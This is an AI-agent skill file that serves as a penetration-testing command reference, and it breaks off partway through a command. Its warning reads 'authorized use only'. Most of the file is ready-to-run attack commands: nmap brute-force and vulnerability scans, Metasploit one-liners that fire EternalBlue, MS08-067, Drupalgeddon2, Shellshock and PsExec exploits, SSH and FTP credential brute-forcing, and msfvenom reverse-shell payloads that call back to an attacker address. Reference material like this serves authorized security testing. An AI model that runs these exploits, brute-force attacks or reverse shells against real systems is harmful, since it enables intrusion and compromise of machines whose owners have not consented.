skills/pentest-commands/SKILL.md
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during sec
npx skillsauth add ranbot-ai/awesome-skills pentest-commandsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Host Discovery:
# Ping sweep
nmap -sP 192.168.1.0/24
# List IPs without scanning
nmap -sL 192.168.1.0/24
# Ping scan (host discovery)
nmap -sn 192.168.1.0/24
Port Scanning:
# TCP SYN scan (stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# All ports (1-65535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
Service Detection:
# Service versions
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Comprehensive scan
nmap -A 192.168.1.1
# Skip host discovery
nmap -Pn 192.168.1.1
NSE Scripts:
# Vulnerability scan
nmap --script vuln 192.168.1.1
# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1
# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anonymous
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# HTTP methods
nmap -p80 --script http-methods 192.168.1.1
# HTTP headers
nmap -p80 --script http-headers 192.168.1.1
# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1
Advanced Scans:
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (firewall detection)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
Basic Usage:
# Launch Metasploit
msfconsole
# Search for exploits
search type:exploit name:smb
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set target
set RHOST 192.168.1.1
# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
Common Exploits:
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LH
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